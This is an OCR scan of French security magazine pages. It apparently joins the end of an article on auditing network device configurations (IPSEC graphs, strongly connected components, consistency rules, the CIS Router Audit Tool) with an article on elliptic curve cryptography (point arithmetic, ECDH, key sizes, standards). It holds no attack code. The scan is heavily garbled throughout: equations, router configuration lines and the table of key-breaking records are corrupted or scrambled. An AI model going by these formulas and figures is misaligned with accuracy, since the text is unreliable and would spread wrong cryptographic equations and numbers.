On a donc bien un tunnel IPSEC entre (Conf

test, 1) et (Conf_testl, 1) par I'asymeétrie des
connexions entre ces deux sommets. De
maniere générale, si on considere le graphe
IPSEC ayant pour sommets (Lonf test 1)
et (Conf testl,l), le périmetre du VPN
IPSEC correspond alors a une composante
fortement connexe du graphe IPSEC (si
pour toute paire de sommets (x, y) de la
composante, il existe un cheminde xay
etdeyax).

Dans notre cas, il y a une seule composante
fortement connexe qui est {{Conf_test,l),
(fonf testl, 11} et qui représente le
perimetre de sécurité du VPN | [5].

De maniére théorique, les composantes

interface
Ip address jpii
crypto map VPN_1 1

interface ..
ip addrass Ipi2
crypio map VPN _1 2

interface .
ip address p21
crypto map VEN_1 1

cryptomap VPN_2 1

Ip address p22
erypto map VPN_2 1

interface .
ip-address ip31

crypto map VPN_1_1
interface .,
Ip address ip32
erypto map VPN_2 1

fortement connexes du graphe IPSEC

Adresse IP
du tunnel
IPSEC

Adresse IP
de l'interface

Nom routeur CryptoMapld

192.168.1.1

192 168.1.154

Adresse IP
du tunnet
IPSEC

Adresse IP
de U'interface

Nom routeur CryptaMapid

192.168.1.154 192.168.1.1

192.168.1.154 192.168.1.1

192,168 1.1 192.168.1.154
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Si on extrait des configurations les éléments permettant de
construire la table IPSEC, on obtient alors aprés le produit
cartésien les informations suivantes :
(routeurl,l) est ipsec-connecté & (routeurd,l) B&
& (routeorl,1)

} est ipsec-connecté 4 (routeurd, 1) &% (routeurd,l) est ipsec-connecte

routeur?,l) est ipsec-tonnecte

#,1) est ipsec-comnecté o (routeurd, 1) 54 (routeurd,l) est ipsec-connecté
P

{routeur?,?) est ipsec-connecté & (routeurd,2) &k (routeurd ) est jpsec-connectt

i (routeur?,2)

(routeurd,2) est ipsec-connecté a (routeurd,2) &k (routeurd,2) est jpsec-connects

i (routeurd,?)

(routeurd,2) est

i {routeurd 2]

ipsec-conmecté @ (routeur?,2) && (routeur? 2) est fpsec-connecte

Les composantes fortement connexes de notre graphe IPSEC sont
donc {(routeurl,1), (routeur?,1), (routeur3,1)} et {{routeur?,2),
(routeurs,2), (routeur3,2)} et permettent alors de verifier les
périmétres configurés. Dans notre exemple, les périmétres de
sécurité sont bien restreints aux VPN IPSEC définis dans les
configurations (VPN | et VPN 2).

Il est donc possible a partir d'un grand nombre de configurations
réseau de retrouver les périmetres des réseaux prives virtuels

IPSEC par une analyse des composantes fortement connexes du
graphe IPSEC [5].

Enfin, si les composantes connexes (s'il existe un chemin entre
toute paire de sommets (x, y) de la composante) du graphe IPSEC
ne sont pas égales aux composantes fortement connexes (si pour
toute paire de sommets (x, y) de la composante, il existe un
chemin de x & y et de y a x) du graphe IPSEC, il y a alors des
inconsistances de configuration des VPN IPSEC. De méme, toute
configuration non bidirectionnelle entre deux sommets montre
aussi des inconsistances de configuration des VPN IPSEC.

4. Vers des politiques
de consistance des configurations
réseau

Les configurations des équipements réseau detiennent toute
l'information permettant de construire le réseau et ses services.
La politique de sécurité réseau « logique » peut se decliner en
I'ensemble de regles de securité generiques suivantes garantissant
la disponibilité et l'intégrité du reseau et de ses services : voir
tableau ci-dessous.

Reégles de sécurité générigues

Consistance du plan
d’adressage

Description

Il s'agit des régles qui garantissent la consistance du plan d'adressage des équipements réseau.
Il ne doit pas exister de doublons dans le plan d'adressage global du réseau, et il ne doit pas
exister de doublons dans le plan d'adressage d'un VPN donneé.

Il s'agit des régles qui garantissent la consistance des configurations des équipements reseau.
Tout élément de configuration défini doit &tre applique, et tout élément de configuration
appliqué doit étre défini. Ces regles peuvent étre basiques (vérification de la présence de lignes
spécifiques de configuration) jusqu'a des regles plus complexes (verification de la grammaire
associée au langage de configuration).

Il s'agit des régles qui garantissent la consistance des filtrages utilisés pour contréler par
exemple les flux de données ou de routage. Les éléments constituant un filtrage ne doivent
&tre ni redondants, ni contradictoires entre eux. Ces regles peuvent étre basiques (verification
de la présence de lignes spécifiques de configuration) jusqu'a des régles plus complexes
(verification des regles inutiles).

Il s’agit des régles de configuration relatives a la protection du routage réseau. Ces regles
s'appliquent a la fois au routage interne du réseau ainsi qu'aux interconnexions de routage du
réseau avec |'extérieur. Ces régles peuvent étre basiques (verification de la présence de lignes
spécifiques de configuration) jusqu'a des regles plus complexes (vérification de la topologie du
routage interne et externe du réseau, consistance de la politique de routage, etc.).

Il s'agit des régles de configuration relatives a la protection des services du réseau. Ces regles
peuvent étre basiques (vérification de la présence de lignes spécifiques de configuration)
jusqu’a des régles plus complexes (vérification des périmeétres de sécurite d'un VPN).

[l s'agit des regles de configuration relatives a la protection des interconnexions avec les
services réseau d'un partenaire. Ces régles sont generalement tres basiques (verification de
la présence de lignes spécifiques de configuration).

Administration

Il s’agit des regles de configuration relatives a la protection des équipements réseau. Ces
regles sont généralement tres basiques (vérification de la présence de lignes spécifiques de
configuration).
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9. Vers des outils d'analyse des

configurations (Router Audit Tool)

Ecrit par George M. Jones (<gmj@cisecurity.org>), RAT
est distribueé par le CIS (Center for Internet Security). Disponible
gratuitement sur Internet pour un usage personnel, RAT est
compose des programmes suivants :

# ral : le programme principal.

* snarf i qui permet de télécharger les configurations des
routeurs.

* ncat_config : qui permet de générer une configuration
d'audit.

* ncat_report @ qui permet de générer des rapports d'audit.

Avant de lancer tout audit, un fichier de configuration d'audit
doit étre defini afin de préciser les commandes d'audit ou de
vérification de la configuration qui seront lancées. Ce fichier
sappuie sur une bibliotheque de régles définissant des standards
de sécurité. Cette bibliothéque est aujourd’hui divisée en deux
parties, Level-1 Benchmark, qui contient un ensemble de régles
elementaires et Level-2 Banchmark, qui contient des regles plus
etendues.

Chaque regle contient les champs ou attributs suivants :
* Impact de sécurité : décrit 'impact de sécurité associé
si la régle n'est pas appliquée.

# Importance : associe une valeur entre | et |0 reflétant
limportance de I'impact de sécurité si la regle n'est pas
appliguée.

* Actions associées 2 la régle : décrit les actions pour
corriger et donc appliguer la régle.

# Expression réguliére définissant la régle : décrit une
expression réguliere a partir de laquelle l'outil vérifie si une
regle est appliquée.

Loutil RAT est aussi accompagné d'un outil d'audit permettant de
noter les éléements suivants ;

. Références
R |

nombre de tests réalises ;

nombre de regles de sécurité appliquees ;

nombre de régles de sécurité non appliquées ;

pourcentage de régles de sécurité appliquées ;

V¥ | ¥ | ¥ ]| ¥

score pondéré par Iimportance des régles de sécurite
appliquees ;

* score pondéré par I'importance si toutes les régles de
sécurité sont appliquées.

RAT est le premier outil permettant d'analyser les configurations
des routeurs. Il évolue sans cesse et intégre désormais des
vérifications de plus en plus évoluées.

Cependant, les scores fournis doivent étre interprétés non pas
comme un niveau de sécurité, mais plutdét comme un indicateur
d'application des régles de sécurité.

6. Conclusion

Les configurations des équipements réseau détiennent
toute l'information permettant de construire le réseau et
ses services. La vérification de ces configurations est et
deviendra un enjeu majeur dans les années i venir.

Par ailleurs, il s'agira aussi de définir un cadre complet
permettant de décrire une politique de sécurité réseau,
de vérifier I'application de la politique de sécurité dans
les configurations des équipements réseau, de définir des
indicateurs de securité afin d'etablir un tableau de bord de
la sécurité réseau, de quantifier le risque associé a la non
application de la politique de sécurité et enfin de définir
des priorités pour corriger les faiblesses de sécurité les
plus critiques [6,7].

sympaosium on Discrete algorithms, p. 827-835, 2001.
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Les courbes elliptiques sont un domaine ancien des
mathématiques qui a pris son essor il y a une centaine
d’années. On peut par exemple citer I'utilisation des
courbes elliptiques dans la découverte de la preuve
du dernier Théoréme de Fermat par Andrew Wiles
ou encore leur utilisation pour la factorisation des
grands entiers (méthode proposée par Lenstra).

L'utilisation des courbes elliptiques en cryptographie a
débuté plus récemment. C’est en 1985 que Victor Miller
et Neal Koblitz proposent de maniére indépendante
Putilisation des courbes elliptiques dans un cryptosysteme.

Les propositions de V. Miller [MILLER] et N. Koblitz [KOBLITZ]
ont naturellement poussé la communauté & se pencher sur les
possibilités offertes par l'utilisation de ces courbes elliptiques,
d'autant plus que certains commencaient a prédire le declin de
l'algorithme RSA jusque-la prédominant (ce qui est encore le cas
aujourd’hui} dans la majorité des cryptosystemes utilisant des
algorithmes asymetriques.

Nous allons dans cet article examiner entre autres ce qui
fait I'intérét des courbes elliptiques, nous intéresser aux

mathématiques nécessaires a |'utilisation de ces courbes et

regarder dans quelle mesure elles sont actuellement utilisées.

Qu'est-ce gu’une courbe elliptique ?
Définition générale

D'un point de vue purement mathématique, on peut definir une
courbe elliptique de la maniére suivante :

Une courbe elliptique définie sur un corps K est une paire (E,O) ou E est une
cubique irréductible non singuliere i coefficients dans K, et O e E Oest
appele point a l'infini.

Si on se place sur le corps des réels, une courbe elliptique est
I'ensemble des points qui satisfont I'équation y? = x* + ax + b,
a et b étant des reels. Sur ce corps, il est possible de représenter
graphiqguement une courbe elliptique. La figure | représente une
courbe elliptique définie sur le corps des réels dont I'équation
esty’=x'-3x+2.8.

La définition trés générale que nous venons de donner intéressera
plus les mathématiciens que les cryptographes. Pour les
cryptosystemes, on restreint I'usage des courbes elliptiques a des
corps K finis. Sur ces derniers, les courbes elliptiques deviennent
des groupes commutatifs finis. On peut citer par exemple les
corps finis de Galois }Fp. p grand nombre premier ou encore
IE', , m nombre positif (de préférence premier).

(o
w

Définition « cryptographigue »

Par la suite, nous nous limiterons aux courbes elliptiques définies
sur le corps .T'"p. Ce choix est di au fait que d'une part les
mathématiques dans ce groupe sont plus simples et d'autre part,
il est le plus familier en cryptographie. En effet, les calculs de
Ialgorithme de Diffie-Hellman ou RSA se font sur I .

Voici donc une autre définition d'une courbe elliptique :

Une courbe elliptique définie sur le corps fini I"’p. p nombre premier est
une paire (E,O) ol E est un ensemble de points finis PP ..., P verifiant
I'équation y* = x* + ax + b mod p. Les coefficients de la courbeaetb & 'l-"p.
4a+27b% # 0 mod p. O, appele point a linfini € E.

Les algorithmes construits sur les courbes elliptiques necessitent
également un point de référence de la courbe, souvent note G.
Ce point doit &tre le générateur du sous-groupe d'ordre r de la
courbe elliptique et est notamment utilise lors de la genération
de bi-clefs. Pour des raisons de sécurite, il est important que
I'ardre r soit un facteur premier le plus grand possible du nombre
de points de la courbe.

Soit n, le nombre de points d'une courbe elliptique, on définit
le point de reference G(x,, y,) dont l'ordre r est un grand entier
premier tel que n = r *f. f est appele co-facteur et doit étre le
plus petit possible.
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Nous mettons ici en avant un point important dans |'utilisation
des courbes elliptiques qu'est le calcul du nombre de points d'une
courbe elliptique {(encore appelé cardinalité de la courbe). Cette
cardinalité assure la « sécurité » en permettant la genération d'un
sous-groupe de grande taille et en ne permettant pas les attagues
par « force brute » (tester tous les points de la courbe jusqu'a
trouver celui correspondant a la clef privée recherchée).

Les courbes dont la cardinalité ne posséde pas de bonne proprieté
doivent par conséquent étre écartées.

Cardinalité d'une courbe elliptique

Cette connaissance de la cardinalité d'une courbe est donc
essentielle mais reste complexe. L'algorithme qui est actuellement
le plus usité pour compter le nombre de points sur une courbe
elliptique, est I'algorithme SEA. On doit ce dernier a Schoof,
Elkies et Atkin. Plus précisément, c'est Schoof [SCHOOF] qui,
le premier, a proposé l'algorithme pour compter le nombre de
points sur une courbe elliptigue. Atkin et Elkies ont, par la suite,
ameliore ['algorithme de Shoof et ainsi contribué i la rapidité de
ce dernier.

On peut egalement évoquer l'algorithme de Satoh [SATOH], quia
permis d'ameliorer les temps de calcul et de repousser les tailles
des corps sur lesquels le calcul de la cardinalité d'une courbe
elliptique était possible.

Bien gu'efficace, ces algorithmes restent trop lents, pour la
generation de courbes elliptiques dans chaque application/
protocole le nécessitant. Une autre methode, pouvant répondre
a cette problématique, est d'utiliser des courbes elliptiques a
multiplication complexe. Il est ainsi possible de construire une
courbe elliptique ayant un cardinal (nombre de points) connu a
l'avance. Cette méthode est trés rapide, car les calculs peuvent
etre effectues dans des corps de taille réduite et ensuite étendus
dans |e corps désire. Le principal inconvénient avec cette méthode
est que les attaques sont également plus rapides, dans la mesure
ot la courbe elliptique ainsi abtenue posséde des propriétés
mathématiques particulieres. De plus, il est difficile de garantir que
des evolutions mathematiques ne reduiraient pas drastiquement
les ressources a mettre en ceuvre pour casser les algorithmes
utilisant de telles courbes.

Pour cette raison, il est souvent nécessaire, voire méme
recommande d'utiliser des courbes elliptiques proposées par des
standards. C'est par exemple le cas du NIST, qui propose une
serie de courbes elliptiques dans |e standard FIPS 186-2 [FIPS]
contenant l'algorithme de signature electronique ECDSA (Elliptic
Curve Digital Signature Algorithm) ou encore du consortium SECG
(Standard for Efficient Crybtography Group) [SECG].

* Remarque :

Cette problématique de génération préalable de |a courbe elliptique, existe
egalement avec les algorithmes DLP (Discrete Logartithme Problem). En effet, pour

utiliser ces derniers, il faut au préalable générer le groupe sur lequel vont se faire
les calculs. Cette opération demande un certain temps (environ 3 minutes sur un
serveur bi-Xéon) lorsqu'on deésire un groupe qui seit resistant aux attaques. Une
méthode courante consiste a établir e utiliser une fois pour toute un groupe. Cette
opération peut, par exemple, écre faite lors du démarrage d'un serveur hébergeant
un ou plusieurs serveurs HTTPS.

Intéressons nous aux opérations mathematiques « de base »
permettant la mise en ceuvre des ECC (Elliptic Curve Cryptosystem).
Ces opérations sont :

I'addition de deux points distincts ;

+ la multiplication par 2 d'un point ;

+ le calcul de I'opposé d'un pomt

Arithmétigue
des courhes elliptiques

Comme nous |'avons precedemment indique, nous nous limiterons
aux courbes elliptiques définies sur [, p premier.

Dans ce corps fini, 'equation d'une courbe elliptique est :

- y*=x’+ax+bmodp
-+ aetbdans 'F'p

-+ 43 + 27b? # 0 mod p.

* Remarque :

Afin de donner une meilleure vision des opérations, nous allons egalement aborder
I'approche geometrique de ces derniéres (applicable pour des courbes définies sur
le corps des reels).

Addition d’un point
Yoici l'algorithme permettant de calculer les coordonnées du
Point R(x, y,) somme des points P(xg, Y,) et Q(xq, Y,)

‘SiP=éanrsR=Q stop
| SiQ=0alorsR= P, stop
‘Six—x ety =y, stop
¢

(P = Q, il faut utiliser le doublement de point)

+ A=~ 1) {5, ~x) mod p
-+ xr=l1—xp—xqmodp
-+ yr=l(xq—xl_)—quodp
-+ R=(x,y,) stop
R=f).stop

\&/
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+ On trace la droite passant par les points P et Q. Elle coupe
la courbe au point —R (figure 2) ;

+ On trace la verticale passant par ce point, elle coupe la
courbe au point R = P+Q (figure 3).

Figure ﬂ
21
Q

——

Multiplication par deux d’'un point

Pour cette opération, on parle également de doublement d'un
point. |l s'agit de calculer les coordonnées du point R(x,, y,) double
du peint P(xP, yp)

Siy, = 0 alors R = O, stop
A =(3x, *a)/(2y,) modp
x =M —2x modp

Y, =A(x -x)-y modp
R=({x,y) stop

= Géométriquement :

Le point R peut étre obtenu de la maniere suivante :

+ On trace la tangente d la courbe passant par P. Elle coupe la
courbe au point —R (figure 4) ;

+ On trace la verticale passant par ce point. Elle coupe la courbe
au point R = 2P (figure 5).




Opposé d'un point

Cette opération, simple, permet d'avoir I'opposé d'un point. On
obtient le point R(x, y ) opposé du point P(xp. yp) de la maniere
suivante :

| x =x
4 P

¥ =y

* Géométriquement :

Comme nous l'avons deéja vu sur les figures 2 et 4, 'opposé d'un
point est obtenu en tragant la verticale passant par ce point et
en prenant le point de coupure avec la courbe.

Nous venons de voir les opérations mathématiques qu'il est
necessaire d'apprehender pour la réalisation d'ECC. Nous ne
rentrerons pas davantage dans les opérations mathématiques
sur les courbes elliptiques et invitons le lecteur a consulter
l'abondante littérature sur le domaine.

Pour en conclure avec cet aspect mathématique, observons ce
que devient 'algorithme de Diffie-Hellman applique aux courbes
elliptiques.

ECDH

SoitE la courbe elliptique sur ¥, p premier, une courbe elliptique
definie par I'equation y* = x*+ ax + b mod p. a,b £ E et soit G un
point de reférence de la courbe E, d'ordre r.

Alice et Bob peuvent construire un secret de la maniere
suivante :

Il Alice génére aléatoirement un entier r_dans JO, r[
| et transmet a Bob
| W=rG
Bob genere aleatoirement un entier r, dans ]0, r[
et transmet a Alice
W, =r G

‘ Pstxpn' )’pn) = rn Wt‘l

S =x
a [}

Bob obtient la clef de session en calculant :
| Pt{xnh’ yph) = rb Wn

| . S,= %,
B Preuve :
P =r W, P.=r, W,
B =i (s, G) P, =r (r G)
| P=rrG R G
[ Bimrr, G

On a bien P =P _donc § =S5,

Meme appliqué aux courbes elliptiques, on remarque que
l'algorithme de Diffie-Hellman conserve toute sa simplicite.

—

Laissons de coté les mathématiques et cherchons ce qui fait des
courbes elliptiques un domaine qui est de plus en plus «a la
mode » en cryptographie.

Intérét des courbhes elliptiques
en cryptographie
Les algorithmes asymetriques actuels se basent essentiellement

sur deux problemes mathematiques qui sont :

* le probleme du logarithme discret dans un corps fini
(algorithmes Diffie-Hellman, DSA) ;

# lafactorisation de grands entiers avec deux grands facteurs
(algorithme RSA),

Rappel

Le probleme du logarithme discret, qui est a la base de la
cryptographie a clef publique (via I'algorithme de Diffie-Hellman)
peut se definir ainsi:

Etant donné un corps fini ', (p premier) muni de la multiplication,
un générateur g de I, et un élément X de ', trouvez x élément
de I tel que X = g“mod p

Les tailles de clefs necessaires a I'obtention d'une bonne sécurité
sont comparables a celles necessaires pour le RSA. Il en va de
méme pour ce qui est des puissances de calculs nécessaires.
Les cryptographes ont cherche a etendre ce probléme sur des
groupes plus complexes (afin de garantir une sécurité équivalente
plus rapidement).

Cest ainsi que V. Miller et N. Koblitz ont tous deux proposé
I'utilisation du groupe additif des paints d'une courbe elliptique
sur un corps fini I,

Avantages des courhes elliptiques

On peut voir plusieurs avantages dans l'utilisation des courbes
elliptiques. L'un d'entre eux qui est souvent neglige est celui de
permettre la generation d'un grand nombre de groupe dans le
méme corps. |l est en effet possible de générer de 'ordre de
C? courbes elliptiques sur un corps donne, C étant le nombre
déléments du corps. C'est surtout important lorsqu'on utilise
des cryptoprocesseurs (sur des cartes a puces par exemple). On
peut alors optimiser les calculs sur un corps donné et par la suite
utiliser des courbes elliptiques differentes.

Un autre avantage est que la résolution du probléme du logarithme
discret est beaucoup plus complexe sur une courbe elliptique
definie sur un corps fini, que sur le corps fini lui-méme.

Complexité des calculs

Cela est confirmé par les records actuels dans |a résolution du
DLP sur un corps fini et dans ceux concernant la résolution de ce
méme probléme sur des courbes elliptiques également définies
sur un corps fini.

On peut par ailleurs mettre en correspondance cette complexite
de calcul sur les courbes elliptiques avec la difficulte que
représente la factorisation de grands entiers, dont depend la
sécurité de 'algorithme RSA. Ainsi, les challenges proposeés par
les sociétés RSA Security [RSA_ 1], qui est detentrice du brevet

2
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sur l'algorithme RSA, et Certicom [CERT _|], société qui promeut
l'usage des courbes elliptiques dans les applications et protocales
actuels, nous permettent de comparer les avancées dans la
résolution des deux problémes mathématiques du moment en
cryptographie.

Le tableau suivant montre I'évolution des records de « cassage
de clefs » et, lorsque cela est connu, |a puissance de calcul
nécessaire.

Référence Taille Date Puissance de calcul
de la clef nécessaire en
{bits) MIPS-Years*

décembre 2003
| 530 avril 2003
512 aolt 1999 8000

RSA-155 I,

|09 novembre 2002

Eccp_gy va 97 mars 1998 |6000
EcC2109 . avril 2004
avril 2000 400000

septembre 1999 | 16000
avril 2001
fevrier 2002

Mégligeable

Negligeable

#MIP5-Years : nombre dannées nécessaire d une machine
opérant a un million d'instructions par seconde.

* Remarque :

+ les valeurs de puissance de calcul restent approximatives, mais donnent une
bonne idée des differences entre le RSA et les ECC.

+ I'une des choses importantes a retenir ici est que la résolution du challenge
RSA-155 a reclamé environ 50 fois moins de ressources que la résolution du
challenge ECC2K-108, Cela confirme réellement que les ECC sont bien plus
résistants que le RSA pour des tailles de clef plus petites.

+ Ie probléme du logarithme discret, consultez la page de Reynald LERCIER
[LERCIER] ;

+ le RSA, consultez la page consacrée aux challenges de RSA Security
[RSA_2];

+ les courbes elliptiques, consultez |a page consacrée aux challenges de
CERTICOM [CERT 2]

Taille de clef

Comme nous venons de I'observer, les calculs sur les courbes
elliptiques sont bien plus difficiles que pour les algorithmes
asymetriques classiques. Cela a pour effet immediat que la taille
des clefs nécessaires pour obtenir une sécurité équivalente au
RSA ou algorithmes basés sur le DLP est bien inférieure. On peut
ainsi mettre en correspondance les tailles de clefs necessaires
en fonction des algorithmes utilisés pour assurer une sécuriteé
équivalente, comme le montre le tableau ci-aprés.

Algorithmes symétrigues ECDLP RSA/DLP _

80 bits 163 bits 1024 bits
112 bits 233 bits 2048 bits
128 bits 283 bits 3072 bits
192 bits. 409 bits 7680 bits
256 bits 571 bits 15360 bits

Arjen LENSTRA et Eric VERHEUL ont fait, il y a quelgues
années, une étude trés intéressante sur les tailles de clefs
cryptographiques. Ils donnent également une estimation des
tailles de clefs i utiliser afin de garantir une securité pour un
nombre d'années données. Bien que cela soit un exercice difficile,
leurs travaux sont reconnus par la communauté. Pour de plus
amples renseignements voir [LENSTRA].

Utilisation des courbes elliptiques

Intéressons-nous a l'usage qui est fait des ECC.

Au sein des protocoles de sécurité

Les ECC sont de nos jours présents, méme s'ils ne sont pas
massivement utilisés, dans un grand nombre de protocoles de
securite. On peut citer les plus connus que sont les protocoles
IPSEC et TLS.

IPSEC, propose |'usage des courbes elliptiques pour
l'authentification, via ECDH (Elliptic Curve Diffie-Hellman). |l esta
noter que la RFC ne propose que deux courbes, qui sont definies
sur [, (voir [RFC_I1).

Le TLS, quant a lui, propose ['utilisation des algorithmes
d'authentification ECDH et de signature ECDSA (Effiptic Curve
Digital Signature Algorithm). Le dernier draft IETF sur l'utilisation
des courbes elliptiques au sein du protocole TLS est par ailleurs
trés recent, pour plus d'informations consultez [TLS].

Un des usages importants qui est fait aujourd’hui de la
cryptographie asymétrique est la signature électronique. Cette
derniére est par ailleurs invariablement associée aux certificats
numeériques. Ainsi, l'utilisation d'algorithmes construits sur
les courbes elliptiques tel ECDSA, passe par l'intégration des
algorithmes associés au sein des certificats numeriques. La
RFC3279 [RFC 2] speécifie entre autres |'utilisation de ['algorithme
ECDSA dans les certificats X.509.

Les ECC sont également intégrés dans la version 2 du format
DRM (Digital Rights Management) de Microsoft (qui reste I'un des
acteurs majeurs de I'informatique) et du protocole de securite
des reseaux sans fil : le WAP-WTLS (Wireless Application Protocol
— Wireless Transport Layer Security Specification).

Dans les appareils mobiles

Vous aurez bien compris que les ECC sont, de par les proprietes
gue nous avons vues, bien adaptes aux appareils dont la puissance
de calcul et de mémoire est « faible ». C'est par exemple le cas de
la majorité des produits nomades (méme si les choses évoluent) :
cartes a puce, calculette pour le single sign on, téléphone portable,
assistants personnels...

Bien entendu, cette application des ECC dans les appareils
mobiles induit une utilisation dans tous les appareils de securite
devant/pouvant communiquer avec ces appareils mobiles. C'est
par exemple le cas des access point pour les réseaux sans fil, les
VPN, les firewalls, les serveurs web securises,...

L'apport des ECC dans les systémes nomades est important en
vue du déploiement massif de solutions de securité construites
sur les ECC. On constate qu'actuellement l'informatique est
particuliérement portée sur la mobilité et cela pourrait bien faire
pencher la balance pour les produits a venir.




Et apres ?
Pour conclure cet article, penchons-nous sur les perspectives
d'avenir des ECC.

Développement

Le développement croissant des ECC passe par une
reconnaissance de ces derniers, notamment d'un point de vue
de |a sécurité apportée. Certains spécialistes ne sont en effet
toujours pas convaincus de la resistance des algorithmes a base
de courbes elliptiques, pretextant que I'etude de ces derniéres
en cryptographie est trop recente.

Des groupes de travaux ont ainsi ete crées dans le but d'établir des
normes et standards. Les groupes les plus actifs sont actuellement
le groupe de travail de I'lEEE, qui a établi le standard [EEE 1363-
2000 [IEEE_|] et son complément tres récent [IEEE_2] et |e
groupe de travail du consortium SECG mene par Certicom et
incluant des societés telles que NIST, VISA, ENTRUST,... qui a
etabli le « standard » SECI vl.5. Ce groupe propose également
un certain nombre de courbes elliptiques pouvant étre utilisées
dans le document SEC2 v1.0.

D'autres organismes ont par ailleurs inclus un ou plusieurs
algorithmes utilisant les courbes elliptiques dans des normes ou
standards. C'est par exemple le cas pour le standard FIPS 186-2
qui inclut |'algorithme ECDSA, la norme ANSI X9.63 qui inclut les
algorithmes ECDH, ECMQYV (Elliptic Curve Menezes-Qu-Vanstone),
ECAES (Elliptic Curve Authenticated Encryption Scheme) ou encore
lanorme ISO 15946-4 qui inclut les algorithmes de signature sur
les courbes elliptiques avec recouvrement de messages.

On peut egalement évoquer le choix que vient de faire la
NSA (National Security Agency) de ne recommander que des
algorithmes asymétriques utilisant les courbes elliptiques en vue
de la sécurisation des informations non classifiees et sensibles

du gouvernement américain. La NSA avait par le passé annoncé
la prise en compte de cette voie en achetant (pour un usage
illimité) le toolkit de la société Certicom. Cet achat réalise pour
un montant de 25 millions de dollars avait eu lieu fin 2003.

Points bloguants ?

La problématique de l'usage des courbes elliptiques peut venir,
comme cela fut le cas pour le RSA, de trop nombreux brevets
bloquant le développement des possibilités offertes par ce
domaine de la cryptographie. En effet, la société Certicom
detient et defend ardemment un grand nombre de brevets dans
le domaine des courbes elliptiques. D'autres sociétes, comme Sun
Microsystems, ont pris le parti de contribuer au développement
des ECC en « donnant » du code au projet OpenSSL.

Un autre point est l'avancée technologique nécessaire afin de
permettre le calcul du nombre de points sur une courbe elliptique
« aléatoire » en un temps raisonnable. Bien que cela ne soit pas en
soi un reel probleme, dans la mesure ol il est possible d'utiliser
des courbes calculées par les communautés disposant de grandes
ressources de calculs, les opposants aux ECC et/ou fervents
d'autres solutions pourraient mettre en avant ce « mangque ».

Il reste fort a parier que les ECC auront de plus en plus leur place
dans les algorithmes et protocoles cryptographiques. Bien qu'il
reste peu probable que le RSA soit mis aux oubliettes dans les
années a venir, une cohabitation pourrait bien voir le jour !?

= Notation

+ ECC : Elliptic Curve Cryptosystem, cryptosysteme basé sur les courbes
elliptiques.

« ECDLP : Elliptic Curve Discrete Logarithm Problem, probleme du logarithme
discret sur les courbes elliptiques.

* DLP : Discrete Logarithm Problem, probleme du logarithme discret sur un
corps fini.
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